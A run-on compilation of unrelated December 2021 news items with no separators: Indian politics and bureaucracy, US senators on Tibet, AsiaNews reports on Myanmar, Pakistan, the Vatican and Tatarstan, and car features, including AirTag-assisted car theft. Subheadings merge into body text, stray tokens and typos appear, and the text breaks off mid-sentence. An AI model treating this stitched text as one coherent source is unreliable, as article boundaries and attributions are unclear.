Dec. 14, 2021. (PTI) New Delhi/Varanasi: Eleven chief ministers of BJP-ruled states, who attended a conclave on good governance with Prime Minister Narendra Modi on Tuesday in the PMs parliamentary constituency Varanasi, will offer prayers at the makeshift temple at the Ram Janmabhoomi and Hanumangarhi site in Ayodhya on Wednesday. The protocol officials of the 11 chief ministers and three deputy chief ministers reached Ayodhya on Tuesday. Some of the chief ministers will also be accompanied by their family members. Prime Minister Narendra Modi had inaugurated the first phase of the Kashi Vishwanath Dham Project on Monday. The chief ministers were expected to arrive in Lucknow from Varanasi on Tuesday evening and after a nights stay in the Uttar Pradesh capital, will reach Ayodhya by 11 am on Wednesday, a senior district official said. The chief ministers of Himachal Pradesh, Uttarakhand, Arunachal Pradesh, Madhya Pradesh, Assam, Nagaland, Manipur, Tripura, Gujarat, Haryana and Goa, and two deputy chief ministers from Bihar and one from Arunachal Pradesh will be visiting the holy city, the official said. Official sources indicated that the chief ministers of Sikkim, Meghalaya, Mizoram, Karnataka and Puducherry may also visit Ayodhya. After the CMs conclave, Mr Modi posted a picture with the chief ministers on Twitter, saying: Just concluded an extensive meeting in Kashi with @BJP4India Chief Ministers and Deputy Chief Ministers. Prime Minister Modi, who inaugurated the Kashi Vishwanath Dham Project and then attended the Ganga aarti late evening on Monday, ventured out on the streets of Varanasi in the early hours of Tuesday along with Uttar Pradesh chief minister Yogi Adityanath. Both visited the just-inaugurated Kashi Vishwanath Dham and the Banaras railway station. The Banaras railway station was earlier known as Manduadih, and was renamed early this year. In a tweet posted at around 1 am, the PM said that he had inspected key development works in the temple town. A little past midnight, chants of Har Har Mahadev and Modi, Modi rent the air as the PM, surrounded by his SPG security personnel, took a walk on the streets of Varanasi near Godowlia Chowk, which had been decked up to welcome him. He also shared pictures of his late-night visit to Kashi Vishwanath Dham, which he dedicated to the people just a few hours before that. Elections were held for Nagpur and Akola seats, won comfortably by the BJP. The result is seen as a jolt for the ruling MVA alliance The Nagpur result was also a huge embarrassment for the Congress for the fiasco over changing its candidate at the last moment. Representational image/PTI Mumbai: In a big setback to the ruling Maha Vikas Aghadi (MVA) alliance in Maharashtra, the BJP has made a big headway in the Legislative Council elections by winning four of the six seats. The saffron party caused an upset by winning the Akola-Buldhana-Washim seat, which was with the Shiv Sena for the past 18 years. The elections were fought by the Shiv Sena and Congress with each others as well as the NCPs support. Out of six seats, the results of four seats were decided earlier without voting. Elections were held for the Nagpur and Akola seats, which were won comfortably by the BJP. The result is seen as a jolt for the ruling MVA alliance, which lost these seats despite being in power. The Akola-Buldhana-Washim seats result was a shock for the Shiv Sena as its three-time MLC Gopikishan Bajoria was defeated by the BJPs Vasant Khandelwal by a margin of 109 votes. Of the total 808 votes, Mr Khandelwal bagged 443 votes while Mr Bajoria secured 334. The Nagpur result was also a huge embarrassment for the Congress for the fiasco over changing its candidate at the last moment. In the end, the BJPs Chandreshekhar Bawankule secured 362 votes, winning the seat comfortably. The babu failed to attend a meeting chaired by Prime Minister Narendra Modi who had visited the state in May Though the NDA government is now focused on the forthcoming Assembly elections in Uttar Pradesh, it has not taken its eyes off West Bengal. The political rivalry apart, the NDA government is keen to take on West Bengal chief minister Mamata Banerjee by taking disciplinary action against former state chief secretary Alapan Bandyopadhyay. The babu failed to attend a meeting chaired by Prime Minister Narendra Modi who had visited the state in May to review the destruction caused by a cyclone. Mr Bandyopadhyay was ordered by the miffed Centre to report to Delhi on deputation, but he chose to retire instead. Promptly, he was appointed special adviser to Banerjee, and the face-off drifted into the courts, first the Calcutta high court, and now the Supreme Court. The apex court however has asked the Centre not to precipitate disciplinary proceedings against Bandyopadhyay, even as it hears an appeal by the Centre challenging the Calcutta high court order that stayed the babus transfer to Delhi. A small reprieve for Bandyopadhyay but the issue is not likely to be resolved soon. Return of the prodigal The appointment of former finance secretary Ajay Bhushan Pande as head of a three-member committee to appraise new standards for defining economically weaker sections (EWS) has put to rest the chatter that followed his exit earlier in 2021. At the time it was widely believed that Mr Pande was out of favour with the political dispensation when he was allowed to retire in February 2021 without being given the normal extension given to a finance secretary-designate if he is retiring on Budget-eve. Instead, Tarun Bajaj was given the additional responsibility and Mr Pande was let go of. It is felt that Mr Pande got the axe because he was believed to be responsible for the snafus in the new I-T portal that did not function for months after his tenure ended. The government discovered that the glitches in the portal had less to do with Mr Pande than the integration of the old and new operating systems and softened its stance against him. His return as head of the committee, which also includes principal economic adviser Sanjeev Sanyal and Indian Council of Social Science Research (ICSSR) member secretary V.K. Malhotra, is a sign that all is forgiven and that Mr Pande still enjoys the trust of the government. Kerala govt upsets babus in pay scale row The Kerala government has not only miffed the Centre with the transfer of Indian Forest Service (IFoS) officer Bennichen Thomas (as reported in this column on December 9) but also IAS and IPS officers in the state by raising the basic pay of the recently created Kerala Administrative Service (KAS) officers. In a recent move, the Pinarayi Vijayan government fixed the salary scale and it is now equivalent to that of all-India service officers who have put in at least nine years of service. According to the new scale fixed by the state cabinet, an entry-level IAS officer draws a basic salary of Rs 56,100. On the other hand, a KAS officer at the entry-level would draw a much higher basic pay of Rs 81,800 with a 10 per cent grade pay and other allowances. Sources say that the IPS Officers Association and the state chapters of the IAS and IFoS officers associations have demanded the Kerala government to reconsider its decision. Dr B. Ashok and M.G. Ramanickam, president and secretary of the state IAS association, respectively, have urged the government to rescind the order, claiming the disparity in pay structure would upset administrative equations. They further argue that since KAS is a feeder service, there is no logic in fixing the salary of KAS officers at a higher level. The government, so far, is going ahead with the move, though critics claim that the decision was taken ignoring the recommendations of the state finance department. Guess the IAS and IPS officers will have to assert their claims more strongly to make the government listen. The lawmakers advocated for a US policy towards Tibet that protects the rights, autonomy and dignity of the Tibetan people Washington: A bipartisan group of top American Senators has urged the Biden administration to give top priority to the Tibetan issue, in particular engaging with the Tibetan spiritual leader the Dalai Lama, saying there is a need for a policy that further validates Tibet's distinct political, ethnic, cultural and religious identity apart from that of China. The Tibetan Policy and Support Act of 2020 (TPSA) passed by the US Congress makes it official United States policy that decisions over the reincarnation of the Dalai Lama are exclusively within the authority of the current Dalai Lama, Tibetan Buddhist leaders and the Tibetan people. China, meanwhile, has tightened its control in Tibet. The US Senators, in a letter to Uzra Zeya, Under Secretary of State for Civilian Security, Democracy and Human Rights, said that Tibet matters to the US. Tibet matters to us, not only as an issue that is important to our constituents and the Tibetan-American community, but also as a tangible manifestation of a principled foreign policy that prioritises human rights and the quest for human dignity, they said. Indian-origin Zeya is expected to be appointed as Special Coordinator for Tibetan Issues. The lawmakers advocated for a US policy towards Tibet that protects the rights, autonomy and dignity of the Tibetan people. The letter also calls for a policy that further validates Tibet's distinct political, ethnic, cultural and religious identity apart from that of the People's Republic of China. We stand ready to work with you on this urgent moral issue, they said. As you prepare to assume the duties of the Special Coordinator, we write to convey our thoughts about how the Biden administration and Congress can collaborate to advance US policy on Tibet consistent with US law, including the 2002 Tibetan Policy Act and the 2020 Tibetan Policy and Support Act (TPSA), they wrote. Led by Senator Marco Rubio, the lawmakers said that President Joe Biden can demonstrate the importance of the Dalai Lama's moral message and example by inviting him to meet in the Oval Office to discuss shared interests and strategies for addressing the world's most pressing problems. If His Holiness is unable to travel, then the President should seek an opportunity to meet with him in India, or send a high-level representative, such as the Vice President or a cabinet official, to do so in his stead, they said. Seeking to deepen the engagement with the Central Tibetan Administration (CTA) in Exile, the senators sought to engage the new Sikyong, Penpa Tsering, on ways to improve the livelihoods of Tibetans within the CTA, to protect Tibetan culture and language inside and outside of Tibet, and to resolve the Tibet conflict consistent with Tibetans' aspirations for dignity and freedom. Religious freedom and the Dalai Lama's reincarnation. The Tibetan Policy and Support Act (TPSA) established as US policy that decisions involving the next Dalai Lama are religious in nature and belong solely to him and the Tibetan people. We welcome the Biden administration's support of this policy, they wrote. We urge you, and other administration officials, to publicly reiterate this policy and work with like-minded governments to craft a multilateral strategy to affirm this stance as the international norm, not only as a matter of religious freedom but as a strategic counter to the Chinese Communist Party's and government's claims of ownership to the lands of the Tibetan people and its assertion of control over the religious institution of the Dalai Lama, the letter added. China is accused of suppressing cultural and religious freedom in Tibet. China has rejected the accusations. Since becoming China's President in 2013, Xi Jinping has pursued a firm policy of stepping up security control of Tibet. Beijing has been cracking down on Buddhist monks and followers of the Dalai Lama, who despite his exile remains a widely admired spiritual leader in the remote Himalayan region. Beijing views the 86-year-old Dalai Lama as a separatist. Last month, China's ruling Communist Party appointed Wang Junzheng, sanctioned by the US, Britain, the EU and Canada for his alleged role in the human rights violations against Uygur Muslims in Xinjiang, as the head of the party unit in Tibet. A new opportunity for Gulf Catholics to celebrate after the cathedral in Bahrain. The parish of St. John the Baptist in Ruwais has a capacity for 800 and upstairs a multipurpose center with a capacity for one thousand. Mass will be celebrated every night of the week, three on Fridays. A point of reference for the region's 2,500 faithful, most of whom are migrants. Abu Dhabi (AsiaNews) - Having recently archived the celebrations for the inauguration - in the presence of the Prefect of Propaganda Fide Card. Luis Antonio Tagle - of the Cathedral of Our Lady of Arabia in Bahrain, the Catholics of the southern vicariate are preparing to consecrate another place of worship: the Church of St John the Baptist in Ruwais, about 240 km west of Abu Dhabi. The civil ceremony is scheduled for tomorrow in the presence of secular and religious, Muslim and Christian authorities, while the first mass will be held on December 17. The solemn Eucharistic service will be presided over by Msgr. Paul Hinder, vicar apostolic of southern Arabia (United Arab Emirates, Oman and Yemen) and apostolic administrator sede vacante of northern Arabia (Kuwait, Saudi Arabia, Qatar and Bahrain). According to vicariate sources contacted by AsiaNews, the inauguration is scheduled for tomorrow at 6 am in the presence of Sheikh Hamdan bin Zayed Al Nahyan, representing the emirate of Abu Dhabi. The church stands on a plot of land donated by Crown Prince Mohamed bin Zayed Al Nahyan and the monarch's representative in the al-Dhafra region, in the a-Ruwais residential complex. The parish priest is Capuchin Fr. Thomas Ampattukuzhy, who has overseen the project and construction work in recent years since the laying of the foundation stone blessed by Msgr. Hinder on Dec. 30, 2018. In addition to a daily mass that will be celebrated every night of the week, to encourage worker participation, the new church will also have two additional celebrations on Fridays, a feast day in Muslim-majority Gulf countries. The church has a total capacity of about 800, while a multi-purpose conference room for nearly 1,000 people has been set up on the second floor. Next to the structure are an office and a residential complex. A statue of the Blessed Virgin Mary and a crucifix made for the mass celebrated by Pope Francis in Abu Dhabi on February 5, 2019, during his historic apostolic trip to the Gulf, have been placed inside the place of worship. It is the first Catholic church in the al-Dhafra region, which borders Qatar, and will welcome the approximately 2,500 faithful, the vast majority of whom are immigrants from other Asian nations, who live and work in Ruwais, totaling about 600 families. On the eve of the inauguration, the ecclesiastical leaders of the region wished to express their gratitude and thanks to the royal family, emphasizing the spirit of "tolerance, fraternity and solidarity" which have long been the guidelines of the policy of the Emirates. Soe Naing was documenting a peaceful protest when he was arrested. The military is using interrogation centres as places of torture. More than 50 journalists remain in prison. Yangon (AsiaNews/Agencies) Soe Naing is the first journalist to die in prison following Myanmars military coup. The freelance photographer was arrested last Friday, 10 December, Human Rights Day. That day he was in the country's former capital to document the "silent strike", a peaceful protest staged nationwide by junta opponents. Local residents had shut down their businesses and stayed away from the citys streets, usually teeming with visitors and pilgrims. This was considered a safer method of protest against the military who have tried to rule the country by force and repression since 1 February after overthrowing the previous civilian government. Following the generals' takeover, around a hundred journalists have been jailed; according to Reporters Without Borders at least 53 are still in prison. This week alone, the authorities sentenced three journalists in Shan State to three years in prison for allegedly spreading misinformation Although government censorship was in place even before the military coup, under the government of Aung San Suu Kyi and the National League for Democracy (NLD), media operating in exile had returned to the country and could work freely. After his arrest, Soe Naing was sent to an interrogation centre in Botahtaung Township for questioning. A source told independent newspaper Irrawaddy that the reporter was in good health before he was detained. According to the Assistance Association for Political Prisoners, as of October, more than 130 people mostly activists and former NLD members have died in military custody. A recent investigation by the Associated Press, the countrys military are increasingly using detention centres as places of torture. The Myanmar Accountability Project recently filed a lawsuit with the International Criminal Court accusing Min Aung Hlaing, the juntas leading general, of crimes against humanity. The organisation called on the tribunal based in The Hague to open an investigation into the widespread and systematic use of torture as part of the violent crackdown against the protest movement in Myanmar. by Shafique Khokhar Tariq Pehalwan crashed a wedding party and harassed the women present. After he was removed by Wazir Masih, the owner of the house where celebrations were underway, he came back with a mob, who fired guns, stole money and jewelry, and set the property on fire. The incident took place on 10 December, International Human Rights Day. Christian activists demand justice. Faisalabad (AsiaNews) The latest episode of anti-Christian violence was reported in Farooqabad, not far from Faisalabad, in the Pakistani province of Punjab. The incident which occurred last Friday, 10 December, International Human Rights Day saw a wedding crashed, women harassed, and a house set on fire. Residents were able to escape but they could have been enveloped in flames and burnt alive had it not been for their quick reflexes. A group of Muslims, including a policeman suspended from duty, who was helped by colleagues to avoid arrest, attacked the home of Wazir Masih, a Christian sanitation worker, who was celebrating the wedding of his son Ahsan. The incident began when a Muslim neighbour, Tariq Pehalwan, entered the house, causing mayhem, harassing the women, and throwing them money to lure them. Shortly after being thrown out, angered, he returned with a dozen people, five of whom are still unknown and armed, and began hitting the guests, firing in the air, and harassing the women, trying to rip their clothes off. Tariq Pehalwan shouted that those present were participating in a Christian celebration and deserved "a lesson", while his associates beat the men and stripped their wives and daughters. The shots drew the attention of neighbours who started screaming in terror. Meanwhile, Wazir Masih's son called the police, who arrived when the attackers had already fled, after making death threats. When the agents left, the attackers came back. This time they stole the jewels and money given to the newlyweds, and poured petrol on the furniture and furnishings setting them on fire. The wedding party managed to escape before the flames completely enveloped them. Thanks to the statements of those present, the Masihs were able to file a First Information Report (FIR) with the police who accepted it only under pressure and after the intervention of some local activists. The FIR was recorded on 12 December, and several attackers were later arrested. After a few hours, they were released on bail yesterday. Now many fear that they could take revenge and start a new spiral of violence and massacres, a pattern observed in the past, favoured by a climate of impunity. For Naveed Walter, president of Human Rights Focus Pakistan (HRFP), the fact that incident took place on International Human Rights Day shows that there is no room for human rights for Christians. What is more, no lesson has come from the Priyantha Kumara incident and sexual violence against women remains widespread and goes unpunished. Activist Robin Daniel played a key role in saving the life of the family by promptly intervening on the day of the attack. For him, powerful Muslims attack [Christians] only for their faith and do not consider them worthy of equal rights, a situation best exemplified by the behaviour of the police. Despite this, We shall not remain silent and will fight for justice, Daniel said. "Saint Joseph, man of silence, you who in the Gospel did not utter a single word, teach us to fast from vain words, to rediscover the value of words that edify, encourage, console and support. Be close to those who suffer from words that hurt, like slander and backbiting, and help us always to match words with deeds." Vatican City (AsiaNews) - "Learn" and practice silence, the contemplative dimension of life, "space of interiority in our days in which we give the Spirit the possibility to regenerate us, to console us, to correct us," space "in which another Word can emerge: that of the Holy Spirit who dwells in us, who brings Jesus." Continuing the cycle of catechesis dedicated to St. Joseph, Pope Francis at today's general audience spoke of the silence of the one who educated Jesus to return to condemn "chatter," also evoking the biblical "the tongue kills more than the sword" to admonish "speaking in the right way, and biting your tongue a little, which can be good at times instead of saying foolish things". Five thousand people were present in the Paul VI Hall and Francis spoke to them recalling the Gospels do not report to us any words of Joseph," stressed that "Joseph's silence is not muteness, he is not a taciturn; it is a silence full of listening, an industrious silence, a silence that brings out his great interiority." "And Jesus, in the carpenter's house in Nazareth, grew up in this 'school'", seeking "spaces of silence in his days" and inviting his disciples to have the same experience. "How beautiful it would be if each of us, following the example of St. Joseph, were able to recover this contemplative dimension of life opened up precisely by silence. But we all know from experience that it is not easy: silence frightens us a little, because it asks us to enter into ourselves and meet the truest part of us." The Pope called on people to learn from Saint Joseph how to cultivate spaces for silence in which another Word can emerge, that is, Jesus, the Word: that of the Holy Spirit who dwells in us, that Jesus brings. It is not easy to recognise that Voice, which is very often confused along with the thousand voices of worries, temptations, desires, and hopes that dwell within us; but without this training that comes precisely from the practice of silence, our tongue can also ail. Without practicing silence, our tongue can also ail. Instead of making the truth shine, it can become a dangerous weapon. Indeed, our words can become flattery, bragging, lies, backbiting and slander. It is an established fact that, as the Book of Sirach reminds us, many have fallen by the edge of the sword, but not so many as have fallen because of the tongue (28:18), the tongue kills more than the sword. Jesus said clearly: whoever speaks ill of his brother or sister, whoever slanders his neighbour, is a murderer (cf. Mt 5:21-22). Killing with the tongue. We do not believe this, but it is the truth. Let us think a little about the times we have killed with the tongue: we would be ashamed! But it will do us good, a great deal of good." "And the benefit to our hearts will also heal our tongue, our words and above all our choices. In fact, Joseph combined silence with action. He did not speak, but he acted, and thus demonstrated what Jesus once told his disciples: Not everyone who says to me, Lord, Lord, shall enter the kingdom of heaven, but he who does the will of my Father who is in heaven (Mt 7:21). Silence. Fruitful words when we speak, and we remember that song: Parole, parole, parole, words, words, words, and nothing of substance. Silence, speaking in the right way, and biting your tongue a little, which can be good at times instead of saying foolish things.." Again today at the conclusion of his speech, Francis recited a prayer: "Saint Joseph, man of silence, you who in the Gospel did not utter a single word, teach us to fast from vain words, to rediscover the value of words that edify, encourage, console and support. Be close to those who suffer from words that hurt, like slander and backbiting, and help us always to match words with deeds." And in his greeting to the German-speaking faithful, he then said, "In these last days of Advent, let us imitate the example of St. Joseph. Let us try to adopt an attitude of silence and listening, in order to be ready to receive the eternal Word of the Father, his incarnate Son, Jesus Christ." A thought, finally, for the victims of the tanker truck explosion in Haiti, which claimed some 70 lives. "Poor Haiti - Francis commented - one after another, it is a people in suffering.... Let us pray, let us pray for Haiti: they are good people, good people, religious people but they are suffering so much." Francis said he was "close to the inhabitants of that city and to the families of the victims as well as to the injured," and invited the faithful to join "in prayer for these brothers and sisters of ours who are so harshly tried." by Vladimir Rozanskij In 2022 the conversion of the ancient Volga Bulgarians population will be remembered. The most important initiative is the construction of a mosque-cathedral in Kazan. Russian Islam has always lived in harmony with Orthodox Christianity. Moscow (AsiaNews) - The deputy premier of the Russian republic of Tatarstan, Marat Khusnullin, has approved plans for the celebration of 1,100 years since the conversion to Islam of the Volga Bulgarians, an ancient population of the Ural region at the time of Kievan Rus'. In 2022, 71 events are planned. The most important is the construction in Kazan - capital of the Tatar republic - of a huge complex called the "Sobornaja" Mosque or "Cathedral" (see model photo): the sacred building will include a museum, a library and several exhibition and reading rooms (madrassas). There will also be major initiatives in the nearby regions of Ulyanovsk and Nizhny Novgorod, and in Moscow. A scientific center for the study and dissemination of manuscripts of Islamic sources will be opened in Kazan. It will be made accessible to researchers and the people, enhancing all the documents preserved by the various libraries and scientific institutions. A series of conferences on "Russia and the Islamic World" are also scheduled, with the participation of the Organization for Islamic Cooperation, the KazanSummit center for economic studies and UNESCO, which will hold the 45th session of the World Heritage Committee in Kazan. The Volga Bulgarians were the original population of the eastern part of present-day European Russia. In 988, at the time of the Christian baptism of Rus', the prince of Kiev Vladimir had asked them, uncertain about which religion to adopt. According to the ancient Chronicle of Nestor, their poor hygiene in prayer meetings and rejection of alcoholic beverages made the Russians lean toward Byzantine Christianity, which captivated the Kievan envoys with the splendor of the rites of St. Sophia in Constantinople. The invasion of Kievan Rus' by the Tatar-Mongolian hordes in the early thirteenth century, just after the death of Genghis Khan, was preceded by the annihilation of the Eastern Bulgarians, who thus disappeared from history. The Tatars did not have an official religion and admitted local cults, thus assimilating themselves to the Islam of Kazan, while the Khanates of Asia and the Middle East converted to the Muslim religion only at the end of the 1300s. Later conquered by the Russians under the leadership of the first Tsar Ivan the Terrible in the mid-1500s, Kazan became integrated into the Moscow court. Because of these historical dynamics, the Islam of the Russian Tatars has always lived in harmony with Orthodox Christianity as the second traditional religion of the Russian state. Kazan's celebrations are considered a kind of accompaniment to the exaltation of Christian Russia, and do not constitute a reason for interreligious conflict. Rather, on the contrary, they testify to the specificity of Russia as a country capable of realizing the harmony of the great religions, unlike the historical Western conflict between Christianity and Islam. Today's headlines: a hundred people are stuck on the roof of the World Trade Center in Hong Kong, after a fire broke out; Covid-19 cases in Korea rise again; in Kashmir, three Indian policemen are killed in an armed attack; the U.S. suspends the sale of F-35s to the Emirates; Naval'nyj recounts price increases in his penal colony via Telegram. VIETNAM Journalist Pham Doan Trang, who documented police brutality and human rights violations in Vietnam, was sentenced to 9 years in prison by a Hanoi court for "propaganda against the state." Despite economic and social progress, Vietnam's communist government maintains strict censorship of the media. SOUTH KOREA Cases of Covid-19 have started to rise again in South Korea: today the country has recorded 7,850 new infections. The number of patients in critical condition has also risen to 964. The government in Seoul is considering the reintroduction of infection control measures such as curfews. HONG KONG More than 100 people were trapped on the roof of the World Trade Center in Hong Kong after a fire broke out. At least 8 people are currently reported injured. Rescue operations are underway. The fire appears to have started in the engine room and spread to the building's renovation scaffolding. CAMBODIA Cambodia's Deputy Prime Minister and Minister of Foreign Affairs, Prak Sokhonn, will be appointed Asean Special Envoy for Myanmar announced Prime Minister Hun Sen, who is due to chair the Southeast Asian organization in 2022. In January, the Phon Penh strongman will travel to Yangon, reversing the stance Asean had held in recent months toward Burma's military junta. INDONESIA Indonesia and the United States have signed a memorandum of understanding on military cooperation. Under the agreement, joint military exercises are planned as well as the fight against illegal fishing, a problem Jakarta is struggling to address due to continued incursions by Vietnamese and Chinese vessels. KASHMIR Militiamen from the Pakistan-based Jaish-e-Mohammad terrorist group fired on a law enforcement convoy in the Indian-administered region of Kashmir, killing three policemen and wounding 11 others. Prime Minister Narendra Modi expressed condolences and search operations are underway near the city of Srinagar. UNITED ARAB EMIRATES - UNITED STATES Washington has suspended the sale of F-35 fighter jets to Abu Dhabi. The billion deal was tied to the conclusion of the Abraham Accords sought by President Donald Trump. U.S. Secretary of State Antony Blinken has said he wants to ensure Israel maintains its "military advantage" in the region, but according to the Wall Street Journal, which first unveiled details of the affair, the U.S. wants to make sure the aircraft are not subject to Chinese espionage. RUSSIA Detained politician Aleksej Naval'nyj recounted v his amazement at the 40%.rise in food prices in one month in teh detention camp where he is being held via Telegram. Twice a month, inmates have the right to go to the store of the penal colony, with the spending limit of 9 thousand rubles (just over 100 euros), "like an average pensioner, but I am really shocked by the prices," Naval'nyj said. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Its not often though that we get to see a real-life motorcycle looking more like its downsized, toy counterpart. Somehow, thats exactly what happened when we stumbled across this here Harley-Davidson V-Rod.Originally born in 2003 in the Milwaukee stables as part of the American companys muscle bike family, this V-Rod had the fortune of being purchased by someone over in Europe, who at one point decided to give it a visual overhaul, and ended up sending the two-wheeler over to Estonian Fredy Jaates.Under our spotlight for some time now, Jaates has gotten us used to extreme interpretations of V-Rods, a number of them supercharged and looking passively aggressive to the point theyre scary.Thats not what we have here, though. Maybe its the rare combination between the blue paint used on the main body parts (fuel tank and fenders), the white of the frame, the blackness of the engine block, and the chrome on the exhaust and wheels, but theres something about this build that brings to mind the image of a scale model: hence a more friendly-to-the-eye apparition.The clean cut machine, which we nicknamed Hot Wheels because it kind of looks like something we would have liked sitting in a dream collection from the toymaker, the bike is the result of close to 40 bits and pieces coming together perfectly.Among the most visible we get the sharp wheels, sized 18 inches front and rear and completed by small fenders, an impressive-looking CFR exhaust system, and the many chromed housings and covers spread throughout the build.We are not told if any modifications have been made to the V-Rods powerplant, and we also dont know how much the thing cost to put together. Were pretty sure though price was not an issue for the one who ordered this big boy toy. kWh kW When equipped with the 77.4battery pack and rear-wheel drive, the 2022 EV6 can travel up to 310 miles (499 km) on a single charge. This rating, which represents an overall fuel efficiency of 4.0 miles/kWh (29 kWh/100 miles), applies to the GT-Line and EX+ trim levels. All-wheel drive models have an EPA certification of 274 miles (441 km), and 232 miles (373 km) for the 58 kWh variant of the EV6 EX.Commenting on the EPA certification of the electric crossover , as well as highlighting its fast-charging capability, Kia Americas President and CEO, Sean Yoon, said: Offering EV6 customers over 300 miles of all-electric range per charge, combined with the ability to recharge quickly and efficiently, is foundational to the rollout of our Plan S Strategy that positions Kia as an EV leader.Speaking of sipping electrons, the Kia EV6 supports 400v and 800v DC charging and is compatible with fast-charging stations with speeds ranging between 50and 350 kW. Kia says the ultra-fast charging adds up to 210 miles (338 km) of range in just 18 minutes. And dont be concerned about the battery life, as the Korean marque states that the vehicle is accompanied by a 10-year warranty for this critical component.Those sitting in the drivers seat will be assisted by different safety gear, including highway driving assist, blind-spot view monitor, surround-view monitor, forward collision avoidance assist, and remote smart parking assist. These add up to the standard equipment of the EV6 EX+ that comprises 19-inch alloys, 14-speaker Meridian audio, heated and ventilated front seats, electric tailgate, and others. The GT-Line features 20-inch wheels, power sunroof, head-up display with augmented reality, and exclusive trim inside and out. Over in Brazil , the S10 without a hyphen is nothing more than a Colorado with a different name. But in Mexico, where the Colorado is marketed as the Colorado, the biggest automaker in Detroit has previewed the S10 Max.Advertised as a 2023 model, the newcomer is a mid-size pickup like the Colorado as well. But as opposed to its more capable sibling, the S10 Max caters to cost-sensitive customers with three body styles. Available as a chassis cab, with a regular cab, and as a dual cab, the body-on-frame truck is dubbed by General Motors a comfortable vehicle that has the capabilities and performance necessary for daily work. What kind of capabilities?Initial specifications reveal a payload of more than one metric ton, which is 2,205 pounds over in the United States. By comparison, the Colorado for the U.S. market offers up to 1,550 pounds (703 kilograms) for the crew cab with the 3.6-liter V6 engine. Speaking of the oily bits, the S10 Max is available with a free-breathing 2.4 and a force-fed 2.0 connected to five- and six-speed manual transmissions. Curiously enough, the only photo of the interior published by General Motors reveals an automatic transmission shifter.As for the elephant in the room, well, this ugly duckling of a truck isnt a thoroughbred General Motors design.Its actually imported from China by the peeps at SAIC Motor venture because the S10 Max is nothing more than a rebadged Maxus T70. Also known as the MG Extender in Thailand and Pakistan as well as the LDV T70 Max in Australia, this pickup further boasts available 16-inch aluminum wheels, a 10-inch media system, and four-wheel drive. The one with the highest value of them all is the first Shelby R-Model competition car ever built, and driven to the monikers first race win by none other than legendary Ken Miles. It happened back in 1965, when the Brit raced the Shelby Mustang at Valley Raceway in Texas, briefly taking off while in his mad chase for the win, and earning the car the Flying Mustang nickname.This very rare machine sold in July of last year for a staggering $3.85 million during a Mecum auction in Indianapolis. Enough time has passed, apparently, for the car to have increased a bit in value and here it is again, this time ready to go under the hammer in Kissimmee, Florida, next month.The Shelby presents itself just like it did a year and some change ago, sporting a Wimbledon White overall wrapped around the black interior. The hood hides a 289ci (4.7-liter) engine that has been revved back in its day not only by Miles, but by other greats of the American motoring scene, including Bob Bondurant, Chuck Cantwell, Peter Brock, and Jerry Titus.Described as the most historically significant Shelby Mustang in the world, this Shelby is presented in restored form, with work on it having been performed by Oklahoma-based Thoroughbred Restorations. Mecum does not say why this very expensive and valuable Mustang is selling once again, but it does admit short term ownership for a car of this magnitude is very unusual. Expectations for it to break a new record are however not unusual, and we only have to wait for about a month or so to see for how much it goes again. But on the other hand, the AirTag has ended up becoming a very valuable tool for thieves out there, as theyre using this device to track their targets and eventually steal their cars.Several reports that surfaced lately described the very simple technique thieves turned to in order to steal luxury cars . The thieves just placed AirTags on the cars they wanted to steal, often under the bumper, and then tracked the location of the device on their iPhones.Once the vehicle ended up being parked in front of the owners house, the thieves could proceed with the actual theft using various methods that allowed them to run away with the car almost unnoticed.The police also issued a warning that AirTags could be used for tracking victims, and it looks like Apple got the messages as well.The company has launched an Android app called Tracker Detect and whose purpose is not hard to figure out. The application allows users owning mobile devices powered by Googles operating system to scan for nearby AirTags, therefore being able to tell if theyre being tracked or not.This comes in handy to drivers as well. If you suspect someones tracking your location in an attempt to steal the car, just launch the app and perform a quick scan to find out if theyre using an AirTag for the whole thing.Needless to say, this new application comes in very handy, especially to Android users who until now had absolutely no method to detect a nearby AirTag. Of course, its not as convenient as having an iPhone, but at least theres now a way to find out if someone is using such a cool device for a nefarious purpose. DOHC Shortly after the Second World War ended, Italy's automotive industry was beginning to rise from its ashes. Among the car manufacturers that were getting back on their feet was Enzo Ferraris company, which began as Auto Avio Costruzioni in 1939 but took on its founders name in 1947.That year, the first engine developed in-house by Ferrari was born. A 1.5-liter V12 named after its illustrious designer Gioacchino Colombo , the unit was created for Formula One use. It was successful from the start, helping the Prancing Horse win six out of fourteen races that year while mounted under the hood of the 125 S.Two other V12s - one designed by Aurelio Lampredi, and the other by Vittorio Jano - were also used during the 1950s, but the Colombo was continually improved, outliving its sibling and powering some of the brands most famous machines until it was finally retired in 1988.Of course, Ferrari also built many other outstanding motors with fewer cylinders but remained faithful to the V12 configuration for the majority of its flagship models. After discontinuing the Colombo, the Sceria created a series of Formula One units, but a new V12 intended for road cars would come in the early 1990s when the F116/F133 engine family debuted in the 1992 456 grand tourer.At the 2002 Paris Motor Show, the company unveiled the latest iteration of its long line of limited-production, racecar-derived masterpieces, the Enzo Ferrari . The exquisite road-legal supercar with butterfly-opening doors came with a new twelve-cylinder codenamed Tipo F140 B.A 6.0 liter, all-aluminum , 65-degree V12 with a dual overhead camshaft () configuration, four valves per cylinder, variable valve timing, and a Bosch Motronic ME7 fuel injection system, the F140 was the most powerful naturally aspirated engine ever fitted into a road car. It could produce 651 hp at 7,800 rpm and 485 lb-ft (657 Nm) of torque at 5,500 rpm.During that time, Ferrari was by far the most successful name in Formula One, and many of the technologies pioneered on the track made their way into the Enzo. However, unlike the F50s Tipo F130B, this new V12 was not an F1-spec powerplant. In fact, its architecture was based on the F136 V8, and it didn't share any components with the V10s that helped Michael Schumacher become one of the best race drivers of all time.That being said, it was created by the same masterminds behind the Formula One engines, and, as youre about to read, it was capable of far more than 651 hp.The supercar was produced in 400 examples until 2004, but its V12 continued to be developed. Along with the Enzos underpinnings, Maserati borrowed the unit for its MC12 homologation special, the resulting GT1 racecar, and the Pininfarina-designed Birdcage 75th concept . From 2004 to 2010, the MC12 GT1 entered various racing series, dominating most of them. This was the only instance where the F140 (M144B/2 in Maserati guise) was used in FIA-sanctioned competitions, proving that it was much more than a road car engine.In 2005, Ferrari introduced the FXX, an Enzo-based track weapon with a bored-out version of its V12 dubbed F140 DA. In this configuration, it was able to spit out 789 hp and 506 lb-ft (686 Nm) of torque, the 6.3-liter, yet there was room for more, so in 2007 the FXX Evoluzione was unleashed. This time, the output was improved to 848 hp and 509 lb-ft (690 Nm) of torque, the most it could make unassisted by a kinetic energy recovery system (KERS). You can hear it scream around the Monza racetrack in the video below posted on 